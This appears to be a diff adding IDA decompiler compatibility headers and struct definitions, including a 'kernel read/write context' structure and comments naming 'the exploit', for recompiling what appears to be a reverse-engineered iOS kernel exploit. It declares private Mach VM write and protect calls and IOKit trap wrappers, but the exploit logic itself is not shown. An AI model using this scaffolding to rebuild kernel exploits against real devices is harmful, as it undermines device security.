+#define bswap32(x)       __builtin_bswap32(x)
+static inline void __chkstk_darwin(void) {}
+
+/* ---- NEON vector unions (IDA uses .i8[n] / .u8[n] member access) ---- */
+
+/* ---- Mach type aliases ---- */
+#ifndef host_t
+typedef mach_port_t host_t;
+#endif
+
+/* ---- SDK compatibility ---- */
+/* kIOMasterPortDefault was renamed to kIOMainPortDefault in iOS 15.
+   Use 0 (MACH_PORT_NULL) which works for both old and new SDKs. */
+#undef kIOMasterPortDefault
+#define kIOMasterPortDefault 0
+#ifndef SANDBOX_CHECK_NO_REPORT
+#define SANDBOX_CHECK_NO_REPORT 0x0001
+#endif
+
+/* ---- Private syscalls ---- */
+int __ulock_wait(uint32_t, void *, uint64_t, uint32_t) __attribute__((weak_import));
+int __ulock_wake(uint32_t, void *, uint64_t) __attribute__((weak_import));
+int open_dprotected_np(const char *, int, int, int, ...);
+int fileport_makeport(int fd, mach_port_t *port);
+int fileport_makefd(mach_port_t port);
+
+/* ---- Data constants (zero-init, fill from binary .rodata) ---- */
+/* Declared as extern in .c file, defined there too */
+
+
+/* Additional compatibility — appended */
+#include <sys/utsname.h>
+#include <mach-o/loader.h>
+
+#define qmemcpy(d,s,n) memcpy(d,s,n)
+#define bswap64(x) __builtin_bswap64(x)
+#define __PAIR128__(h,l) (((__int128)(h) << 64) | (uint64_t)(l))
+#define WORD6(x) (*((uint16_t*)&(x) + 6))
+#define BYTE8(x) (*((uint8_t*)&(x) + 8))
+#define BYTE13(x) (*((uint8_t*)&(x) + 13))
+/* _ReadStatusReg / ARM64_SYSREG: IDA uses these for mrs instructions.
+   ARM64_SYSREG encodes the system register as an integer, and _ReadStatusReg
+   reads it. We use the "mrs %0, S<reg>" syntax which accepts numeric encoding. */
+#define ARM64_SYSREG(op0,op1,crn,crm,op2) \
+    (((op0)<<14)|((op1)<<11)|((crn)<<7)|((crm)<<3)|(op2))
+static __attribute__((always_inline)) uint64_t _ReadStatusReg(uint32_t reg) {
+    uint64_t val;
+    /* Common registers used by the exploit */
+    if (reg == ARM64_SYSREG(3,3,13,0,3))      /* tpidrro_el0 */
+        __asm__ volatile("mrs %0, tpidrro_el0" : "=r"(val));
+    else if (reg == ARM64_SYSREG(3,3,13,0,2))  /* tpidr_el0 */
+        __asm__ volatile("mrs %0, tpidr_el0" : "=r"(val));
+    else
+        val = 0;
+    return val;
+}
+
+/* IDA uses __semwait_signal, __memcpy_chk etc. as direct calls */
+extern int __semwait_signal(int, int, int, int, long long, int);
+
+/* struct tags C requires */
+typedef struct IONotificationPort IONotificationPort;
+
+/* dyld globals */
+extern double dyldVersionNumber;
+
+/* _os_alloc_once */
+struct _os_alloc_once_s { long once; void *ptr; };
+extern struct _os_alloc_once_s _os_alloc_once_table[];
+
+/* IOConnectTrap4/6 — marked unavailable on iOS in SDK but symbols exist.
+   Use syscall wrappers instead of the SDK declarations. */
+static inline kern_return_t _IOConnectTrap4(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4) {
+    return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4}, 4, NULL, NULL);
+}
+static inline kern_return_t _IOConnectTrap6(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6) {
+    return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4,p5,p6}, 6, NULL, NULL);
+}
+#define IOConnectTrap4 _IOConnectTrap4
+#define IOConnectTrap6 _IOConnectTrap6
+
+/* NEON union additions for i16/i32/i64/u32/u64 access */
+typedef union { int8_t i8[16]; uint8_t u8[16]; int16_t i16[8]; int32_t i32[4]; int64_t i64[2]; uint32_t u32[4]; uint64_t u64[2]; int8x16_t v; int64x2_t v64; } ida_int8x16_t;
+typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint8x8_t v; int8x8_t vs; int32x2_t v32; } ida_uint8x8_t;
+
+
+/* Additional NEON union types for IDA decompiler output */
+typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint64_t u64[1]; int64_t i64[1]; int8x8_t vs; } ida_int8x8_t;
+typedef union { int32_t i32[2]; uint32_t u32[2]; int64_t i64[1]; uint64_t u64[1]; int32x2_t v; } ida_int32x2_t;
+typedef union { int64_t i64[2]; uint64_t u64[2]; int32_t i32[4]; uint32_t u32[4]; int16_t i16[8]; int8_t i8[16]; uint8_t u8[16]; int64x2_t v64; int8x16_t v; } ida_int64x2_t;
+#endif /* IDA_TYPES_H */
@@ -0,0 +1 @@
+
@@ -0,0 +1,99 @@
+@import Darwin;
+#include "ida_types.h"
+
+ enum CPUFamily : uint32_t
+ {
+     CPUFamily_A8  = 0x2C91A47E,
+     CPUFamily_A9  = 0x92FB37C8,
+     CPUFamily_A10 = 0x67CEEE93,
+     CPUFamily_A11 = 0xE81E7EF6,
+     CPUFamily_A12 = 0x7D34B9F,
+     CPUFamily_A13 = 0x462504D2,
+     CPUFamily_A14 = 0x1B588BB3,
+     CPUFamily_A15 = 0xDA33D83D,
+     CPUFamily_A16 = 0x8765EDEA,
+     CPUFamily_A17 = 0x2876F5B5,
+ };
+
+ typedef struct struct_krwCtx // sizeof=0x1D50
+ {
+     _DWORD flags;
+     _BYTE gap4[168];
+     uint32_t threadForKernelRead;
+     _BYTE gap42[144];
+     int xnuMajorVersion;
+     _BYTE gap144[20];
+     _QWORD someLargeNumber;
+     _BYTE gap160[8];
+     int int168;
+     int gap16C[7];
+     _QWORD qword188;
+     _BYTE gap190[200];
+     int isRW;
+     struct mach_timebase_info timebase;
+     mach_port_t semaphore;
+     pthread_mutex_t someMutex;
+     uint32_t someInt1;
+     uint32_t someInt2;
+     uint64_t gap191[851];
+     _QWORD qword1D48;
+ } struct_krwCtx;
+
+ typedef struct __attribute__((packed)) __attribute__((aligned(4))) struct_qword1D48 // sizeof=0x74
+ {
+     _BYTE gap0[80];
+     _QWORD qword50;
+     _QWORD qword58;
+     _QWORD qword60;
+     _QWORD qword68;
+     _DWORD dword70;
+ } struct_qword1D48;
+
+ typedef struct __attribute__((packed)) __attribute__((aligned(8))) struct_xnuMajorVersion // sizeof=0x28
+ {                                       // XREF: driver_init2_1/r
+     _OWORD majorVersion;
+     _OWORD oword10;                     // XREF: driver_init2_1+48/w
+                                         // driver_init2_1+10C/r ...
+     _QWORD qword20;                     // XREF: driver_init2_1+40/w
+                                         // driver_init2_1+114/r ...
+ } struct_xnuMajorVersion;
+
+ typedef struct __attribute__((packed)) __attribute__((aligned(2))) struct_v83 // sizeof=0x102
+ {
+     _BYTE gap0[48];
+     _DWORD dword30;
+     _BYTE gap34[4];
+     _DWORD dword38;
+     _BYTE gap3C[52];
+     _OWORD xnuMajorVersion;
+     _OWORD oword80;
+     _QWORD qword90;
+     _DWORD dword98;
+     _BYTE gap9C[12];
+     _QWORD qwordA8;
+     _BYTE gapB0[81];
+     _BYTE byte101;
+ } struct_v83;
+
+ typedef struct __attribute__((packed)) __attribute__((aligned(8))) struct_a1 // sizeof=0x128
+ {
+     _OWORD oword0;
+     _OWORD oword10;
+     _OWORD oword20;
+     _OWORD oword30;
+     _OWORD oword40;
+     _OWORD oword50;
+     _OWORD oword60;
+     _OWORD xnuMajorVersion;
+     _OWORD oword80;
+     _OWORD oword90;
+     _OWORD owordA0;
+     _OWORD owordB0;
+     _OWORD owordC0;
+     _OWORD owordD0;
+     _OWORD owordE0;
+     _OWORD owordF0;
+     _OWORD oword100;
+     _OWORD oword110;
+     _QWORD qword120;
+ } struct_a1;
@@ -0,0 +1,194 @@
+/*
+ * ida_types.h — IDA/Hex-Rays type compatibility for clang ARM64
+ */
+#ifndef IDA_TYPES_H
+#define IDA_TYPES_H
+
+#include <stdint.h>
+#include <stdbool.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/mount.h>
+#include <sys/sysctl.h>
+#include <sys/ioctl.h>
+#include <sys/fcntl.h>
+#include <sys/socket.h>
+#include <pthread.h>
+#include <dlfcn.h>
+#include <mach/mach.h>
+#include <mach/mach_time.h>
+/* mach_vm.h is not available on iOS SDK — declare manually */
+#define mach_vm_address_t vm_address_t
+#define mach_vm_size_t    vm_size_t
+#define mach_vm_offset_t  vm_offset_t
+extern kern_return_t mach_vm_read_overwrite(vm_map_t, mach_vm_address_t, mach_vm_size_t, mach_vm_address_t, mach_vm_size_t *);
+extern kern_return_t mach_vm_write(vm_map_t, mach_vm_address_t, vm_offset_t, mach_msg_type_number_t);
+extern kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int);
+extern kern_return_t mach_vm_deallocate(vm_map_t, mach_vm_address_t, mach_vm_size_t);
+extern kern_return_t mach_vm_protect(vm_map_t, mach_vm_address_t, mach_vm_size_t, boolean_t, vm_prot_t);
+extern kern_return_t mach_vm_machine_attribute(vm_map_t, mach_vm_address_t, mach_vm_size_t, vm_machine_attribute_t, vm_machine_attribute_val_t *);
+extern kern_return_t mach_vm_page_info(vm_map_t, mach_vm_address_t, vm_page_info_flavor_t, vm_page_info_t, mach_msg_type_number_t *);
+#include <mach/thread_act.h>
+#include <mach/host_priv.h>
+#include <mach/vm_map.h>
+#include <IOKit/IOKitLib.h>
+#include <CoreFoundation/CoreFoundation.h>
+#include <CommonCrypto/CommonDigest.h>
+#include <spawn.h>
+#include <signal.h>
+#include <arm_neon.h>
+
+/* ---- IDA integer types ---- */
+#define __int8  char
+#define __int16 short
+#define __int32 int
+#define __int64 long long
+
+typedef uint8_t   _BYTE;
+typedef uint16_t  _WORD;
+typedef uint32_t  _DWORD;
+typedef uint64_t  _QWORD;
+typedef __int128  _OWORD;
+typedef uint8_t   _UNKNOWN;
+typedef int       _BOOL4;
+typedef __int128  __n128;
+typedef __int128  xmmword;
+typedef char      kernel_version_t[512];
+
+/* ---- IDA calling conventions (no-ops) ---- */
+#define __fastcall
+#define __cdecl
+#define __usercall
+#define __thiscall
+
+/* ---- IDA accessor macros ---- */
+#define LODWORD(x)  (*(uint32_t*)&(x))
+#define HIDWORD(x)  (*((uint32_t*)&(x) + 1))
+#define LOBYTE(x)   (*(uint8_t*)&(x))
+#define HIBYTE(x)   (*((uint8_t*)&(x) + sizeof(x) - 1))
+#define LOWORD(x)   (*(uint16_t*)&(x))
+#define HIWORD(x)   (*((uint16_t*)&(x) + 1))
+#define BYTE1(x)    (*((uint8_t*)&(x) + 1))
+#define BYTE2(x)    (*((uint8_t*)&(x) + 2))
+#define BYTE3(x)    (*((uint8_t*)&(x) + 3))
+#define BYTE4(x)    (*((uint8_t*)&(x) + 4))
+#define BYTE5(x)    (*((uint8_t*)&(x) + 5))
+#define BYTE6(x)    (*((uint8_t*)&(x) + 6))
+#define BYTE7(x)    (*((uint8_t*)&(x) + 7))
+#define SHIDWORD(x) (*((int32_t*)&(x) + 1))
+#define SLOBYTE(x)  (*(int8_t*)&(x))
+#define SHIWORD(x)  (*((int16_t*)&(x) + 1))
+#define DWORD1(x)   (*((uint32_t*)&(x) + 1))
+#define DWORD2(x)   (*((uint32_t*)&(x) + 2))
+#define __PAIR64__(h, l) (((uint64_t)(h) << 32) | (uint32_t)(l))
+#define __PAIR32__(h, l) (((uint32_t)(h) << 16) | (uint16_t)(l))
+#define __CFADD__(a, b)  ((uint64_t)(a) > (uint64_t)(-1) - (uint64_t)(b))
+#define __OFSUB__(a, b)  (((a) ^ (b)) < 0 && ((a) ^ ((a) - (b))) < 0)
+#define __OFADD__(a, b)  (((a) ^ (b)) >= 0 && ((a) ^ ((a) + (b))) < 0)
+
+/* ---- ARM64 intrinsics ---- */
+#define __dsb(x) __asm__ volatile("dsb " #x ::: "memory")
+#define __isb(x) __asm__ volatile("isb " #x ::: "memory")
+#define __dmb(x) __asm__ volatile("dmb " #x ::: "memory")
+
+/* ---- IDA helpers ---- */
+#define __break(x)       __builtin_trap()
+#define bswap32(x)       __builtin_bswap32(x)
+static inline void __chkstk_darwin(void) {}
+
+/* ---- NEON vector unions (IDA uses .i8[n] / .u8[n] member access) ---- */
+
+/* ---- Mach type aliases ---- */
+#ifndef host_t
+typedef mach_port_t host_t;
+#endif
+
+/* ---- SDK compatibility ---- */
+/* kIOMasterPortDefault was renamed to kIOMainPortDefault in iOS 15.
+   Use 0 (MACH_PORT_NULL) which works for both old and new SDKs. */
+#undef kIOMasterPortDefault
+#define kIOMasterPortDefault 0
+#ifndef SANDBOX_CHECK_NO_REPORT
+#define SANDBOX_CHECK_NO_REPORT 0x0001
+#endif
+
+/* ---- Private syscalls ---- */
+int __ulock_wait(uint32_t, void *, uint64_t, uint32_t) __attribute__((weak_import));
+int __ulock_wake(uint32_t, void *, uint64_t) __attribute__((weak_import));
+int open_dprotected_np(const char *, int, int, int, ...);
+int fileport_makeport(int fd, mach_port_t *port);
+int fileport_makefd(mach_port_t port);
+
+/* ---- Stub for j__fileport wrappers ---- */
+static inline long long j__fileport_makeport(void) { return 0; }
+static inline long long j__fileport_makefd(void)   { return 0; }
+
+/* ---- Data constants (zero-init, fill from binary .rodata) ---- */
+/* Declared as extern in .c file, defined there too */
+
+
+/* Additional compatibility — appended */
+#include <sys/utsname.h>
+#include <mach-o/loader.h>
+
+#define qmemcpy(d,s,n) memcpy(d,s,n)
+#define bswap64(x) __builtin_bswap64(x)
+#define __PAIR128__(h,l) (((__int128)(h) << 64) | (uint64_t)(l))
+#define WORD6(x) (*((uint16_t*)&(x) + 6))
+#define BYTE8(x) (*((uint8_t*)&(x) + 8))
+#define BYTE13(x) (*((uint8_t*)&(x) + 13))
+/* _ReadStatusReg / ARM64_SYSREG: IDA uses these for mrs instructions.
+   ARM64_SYSREG encodes the system register as an integer, and _ReadStatusReg
+   reads it. We use the "mrs %0, S<reg>" syntax which accepts numeric encoding. */
+#define ARM64_SYSREG(op0,op1,crn,crm,op2) \
+    (((op0)<<14)|((op1)<<11)|((crn)<<7)|((crm)<<3)|(op2))
+static __attribute__((always_inline)) uint64_t _ReadStatusReg(uint32_t reg) {
+    uint64_t val;
+    /* Common registers used by the exploit */
+    if (reg == ARM64_SYSREG(3,3,13,0,3))      /* tpidrro_el0 */
+        __asm__ volatile("mrs %0, tpidrro_el0" : "=r"(val));
+    else if (reg == ARM64_SYSREG(3,3,13,0,2))  /* tpidr_el0 */
+        __asm__ volatile("mrs %0, tpidr_el0" : "=r"(val));
+    else
+        val = 0;
+    return val;
+}
+
+/* IDA uses __semwait_signal, __memcpy_chk etc. as direct calls */
+extern int __semwait_signal(int, int, int, int, long long, int);
+
+/* struct tags C requires */
+typedef struct IONotificationPort IONotificationPort;
+
+/* dyld globals */
+extern double dyldVersionNumber;
+
+/* _os_alloc_once */
+struct _os_alloc_once_s { long once; void *ptr; };
+extern struct _os_alloc_once_s _os_alloc_once_table[];
+
+/* IOConnectTrap4/6 — marked unavailable on iOS in SDK but symbols exist.
+   Use syscall wrappers instead of the SDK declarations. */
+static inline kern_return_t _IOConnectTrap4(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4) {
+    return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4}, 4, NULL, NULL);
+}
+static inline kern_return_t _IOConnectTrap6(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6) {
+    return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4,p5,p6}, 6, NULL, NULL);
+}
+#define IOConnectTrap4 _IOConnectTrap4
+#define IOConnectTrap6 _IOConnectTrap6
+
+/* NEON union additions for i16/i32/i64/u32/u64 access */
+typedef union { int8_t i8[16]; uint8_t u8[16]; int16_t i16[8]; int32_t i32[4]; int64_t i64[2]; uint32_t u32[4]; uint64_t u64[2]; int8x16_t v; int64x2_t v64; } ida_int8x16_t;
+typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint8x8_t v; int8x8_t vs; int32x2_t v32; } ida_uint8x8_t;
+
+
+/* Additional NEON union types for IDA decompiler output */
+typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint64_t u64[1]; int64_t i64[1]; int8x8_t vs; } ida_int8x8_t;
+typedef union { int32_t i32[2]; uint32_t u32[2]; int64_t i64[1]; uint64_t u64[1]; int32x2_t v; } ida_int32x2_t;
+typedef union { int64_t i64[2]; uint64_t u64[2]; int32_t i32[4]; uint32_t u32[4]; int16_t i16[8]; int8_t i8[16]; uint8_t u8[16]; int64x2_t v64; int8x16_t v; } ida_int64x2_t;
+#endif /* IDA_TYPES_H */
@@ -0,0 +1,194 @@
+/*
+ * ida_types.h — IDA/Hex-Rays type compatibility for clang ARM64
+ */
+#ifndef IDA_TYPES_H
+#define IDA_TYPES_H
+
+#include <stdint.h>
+#include <stdbool.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/mount.h>
+#include <sys/sysctl.h>
+#include <sys/ioctl.h>
+#include <sys/fcntl.h>
+#include <sys/socket.h>
+#include <pthread.h>
+#include <dlfcn.h>
+#include <mach/mach.h>
+#include <mach/mach_time.h>
+/* mach_vm.h is not available on iOS SDK — declare manually */
+#define mach_vm_address_t vm_address_t
+#define mach_vm_size_t    vm_size_t
+#define mach_vm_offset_t  vm_offset_t
+extern kern_return_t mach_vm_read_overwrite(vm_map_t, mach_vm_address_t, mach_vm_size_t, mach_vm_address_t, mach_vm_size_t *);
+extern kern_return_t mach_vm_write(vm_map_t, mach_vm_address_t, vm_offset_t, mach_msg_type_number_t);
+extern kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int);
+extern kern_return_t mach_vm_deallocate(vm_map_t, mach_vm_address_t, mach_vm_size_t);
+extern kern_return_t mach_vm_protect(vm_map_t, mach_vm_address_t, mach_vm_size_t, boolean_t, vm_prot_t);
+extern kern_return_t mach_vm_machine_attribute(vm_map_t, mach_vm_address_t, mach_vm_size_t, vm_machine_attribute_t, vm_machine_attribute_val_t *);
+extern kern_return_t mach_vm_page_info(vm_map_t, mach_vm_address_t, vm_page_info_flavor_t, vm_page_info_t, mach_msg_type_number_t *);
+#include <mach/thread_act.h>
+#include <mach/host_priv.h>
+#include <mach/vm_map.h>
+#include <IOKit/IOKitLib.h>
+#include <CoreFoundation/CoreFoundation.h>
+#include <CommonCrypto/CommonDigest.h>
+#include <spawn.h>
+#include <signal.h>
+#include <arm_neon.h>
+
+/* ---- IDA integer types ---- */
+#define __int8  char
+#define __int16 short
+#define __int32 int
+#define __int64 long long
+
+typedef uint8_t   _BYTE;
+typedef uint16_t  _WORD;
+typedef uint32_t  _DWORD;
+typedef uint64_t  _QWORD;
+typedef __int128  _OWORD;
+typedef uint8_t   _UNKNOWN;
+typedef int       _BOOL4;
+typedef __int128  __n128;
+typedef __int128  xmmword;
+typedef char      kernel_version_t[512];
+
+/* ---- IDA calling conventions (no-ops) ---- */
+#define __fastcall
+#define __cdecl
+#define __usercall
+#define __thiscall
+
+/* ---- IDA accessor macros ---- */
+#define LODWORD(x)  (*(uint32_t*)&(x))
+#define HIDWORD(x)  (*((uint32_t*)&(x) + 1))
+#define LOBYTE(x)   (*(uint8_t*)&(x))
+#define HIBYTE(x)   (*((uint8_t*)&(x) + sizeof(x) - 1))
+#define LOWORD(x)   (*(uint16_t*)&(x))
+#define HIWORD(x)   (*((uint16_t*)&(x) + 1))
+#define BYTE1(x)    (*((uint8_t*)&(x) + 1))
+#define BYTE2(x)    (*((uint8_t*)&(x) + 2))
+#define BYTE3(x)    (*((uint8_t*)&(x) + 3))
+#define BYTE4(x)    (*((uint8_t*)&(x) + 4))
+#define BYTE5(x)    (*((uint8_t*)&(x) + 5))
+#define BYTE6(x)    (*((uint8_t*)&(x) + 6))
+#define BYTE7(x)    (*((uint8_t*)&(x) + 7))
+#define SHIDWORD(x) (*((int32_t*)&(x) + 1))
+#define SLOBYTE(x)  (*(int8_t*)&(x))
+#define SHIWORD(x)  (*((int16_t*)&(x) + 1))
+#define DWORD1(x)   (*((uint32_t*)&(x) + 1))
+#define DWORD2(x)   (*((uint32_t*)&(x) + 2))
+#define __PAIR64__(h, l) (((uint64_t)(h) << 32) | (uint32_t)(l))
+#define __PAIR32__(h, l) (((uint32_t)(h) << 16) | (uint16_t)(l))
+#define __CFADD__(a, b)  ((uint64_t)(a) > (uint64_t)(-1) - (uint64_t)(b))
+#define __OFSUB__(a, b)  (((a) ^ (b)) < 0 && ((a) ^ ((a) - (b))) < 0)
+#define __OFADD__(a, b)  (((a) ^ (b)) >= 0 && ((a) ^ ((a) + (b))) < 0)
+
+/* ---- ARM64 intrinsics ---- */
+#define __dsb(x) __asm__ volatile("dsb " #x ::: "memory")
+#define __isb(x) __asm__ volatile("isb " #x ::: "memory")
+#define __dmb(x) __asm__ volatile("dmb " #x ::: "memory")
+
+/* ---- IDA helpers ---- */
+#define __break(x)       __builtin_trap()
+#define bswap32(x)       __builtin_bswap32(x)
+static inline void __chkstk_darwin(void) {}
+
+/* ---- NEON vector unions (IDA uses .i8[n] / .u8[n] member access) ---- */
+
+/* ---- Mach type aliases ---- */
+#ifndef host_t
+typedef mach_port_t host_t;
+#endif
+
+/* ---- SDK compatibility ---- */
+/* kIOMasterPortDefault was renamed to kIOMainPortDefault in iOS 15.
+   Use 0 (MACH_PORT_NULL) which works for both old and new SDKs. */
+#undef kIOMasterPortDefault
+#define kIOMasterPortDefault 0
+#ifndef SANDBOX_CHECK_NO_REPORT
+#define SANDBOX_CHECK_NO_REPORT 0x0001
+#endif
+
+/* ---- Private syscalls ---- */
+int __ulock_wait(uint32_t, void *, uint64_t, uint32_t) __attribute__((weak_import));
+int __ulock_wake(uint32_t, void *, uint64_t) __attribute__((weak_import));
+int open_dprotected_np(const char *, int, int, int, ...);
+int fileport_makeport(int fd, mach_port_t *port);
+int fileport_makefd(mach_port_t port);
+
+/* ---- Stub for j__fileport wrappers ---- */
+static inline long long j__fileport_makeport(void) { return 0; }
+static inline long long j__fileport_makefd(void)   { return 0; }
+
+/* ---- Data constants (zero-init, fill from binary .rodata) ---- */
+/* Declared as extern in .c file, defined there too */
+
+
+/* Additional compatibility — appended */
+#include <sys/utsname.h>
+#include <mach-o/loader.h>
+
+#define qmemcpy(d,s,n) memcpy(d,s,n)
+#define bswap64(x) __builtin_bswap64(x)
+#define __PAIR128__(h,l) (((__int128)(h) << 64) | (uint64_t)(l))
+#define WORD6(x) (*((uint16_t*)&(x) + 6))
+#define BYTE8(x) (*((uint8_t*)&(x) + 8))
+#define BYTE13(x) (*((uint8_t*)&(x) + 13))
+/* _ReadStatusReg / ARM64_SYSREG: IDA uses these for mrs instructions.
+   ARM64_SYSREG encodes the system register as an integer, and _ReadStatusReg
+   reads it. We use the "mrs %0, S<reg>" syntax which accepts numeric encoding. */
+#define ARM64_SYSREG(op0,op1,crn,crm,op2) \
+    (((op0)<<14)|((op1)<<11)|((crn)<<7)|((crm)<<3)|(op2))
+static __attribute__((always_inline)) uint64_t _ReadStatusReg(uint32_t reg) {
+    uint64_t val;
+    /* Common registers used by the exploit */
+    if (reg == ARM64_SYSREG(3,3,13,0,3))      /* tpidrro_el0 */
+        __asm__ volatile("mrs %0, tpidrro_el0" : "=r"(val));
+    else if (reg == ARM64_SYSREG(3,3,13,0,2))  /* tpidr_el0 */
+        __asm__ volatile("mrs %0, tpidr_el0" : "=r"(val));
+    else
+        val = 0;
+    return val;
+}
+
+/* IDA uses __semwait_signal, __memcpy_chk etc. as direct calls */
+extern int __semwait_signal(int, int, int, int, long long, int);
+
+/* struct tags C requires */
+typedef struct IONotificationPort IONotificationPort;
+
+/* dyld globals */
+extern double dyldVersionNumber;
+
+/* _os_alloc_once */
+struct _os_alloc_once_s { long once; void *ptr; };
+extern struct _os_alloc_once_s _os_alloc_once_table[];
+
+/* IOConnectTrap4/6 — marked unavailable on iOS in SDK but symbols exist.
+   Use syscall wrappers instead of the SDK declarations. */
+static inline kern_return_t _IOConnectTrap4(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4) {
+    return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4}, 4, NULL, NULL);
+}
+static inline kern_return_t _IOConnectTrap6(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6) {
+    return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4,p5,p6}, 6, NULL, NULL);
+}
+#define IOConnectTrap4 _IOConnectTrap4
+#define IOConnectTrap6 _IOConnectTrap6
+
+/* NEON union additions for i16/i32/i64/u32/u64 access */
+typedef union { int8_t i8[16]; uint8_t u8[16]; int16_t i16[8]; int32_t i32[4]; int64_t i64[2]; uint32_t u32[4]; uint64_t u64[2]; int8x16_t v; int64x2_t v64; } ida_int8x16_t;
+typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint8x8_t v; int8x8_t vs; int32x2_t v32; } ida_uint8x8_t;
+
+
+/* Additional NEON union types for IDA decompiler output */
+typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint64_t u64[1]; int64_t i64[1]; int8x8_t vs; } ida_int8x8_t;
+typedef union { int32_t i32[2]; uint32_t u32[2]; int64_t i64[1]; uint64_t u64[1]; int32x2_t v; } ida_int32x2_t;
+typedef union { int64_t i64[2]; uint64_t u64[2]; int32_t i32[4]; uint32_t u32[4]; int16_t i16[8]; int8_t i8[16]; uint8_t u8[16]; int64x2_t v64; int8x16_t v; } ida_int64x2_t;
+#endif /* IDA_TYPES_H */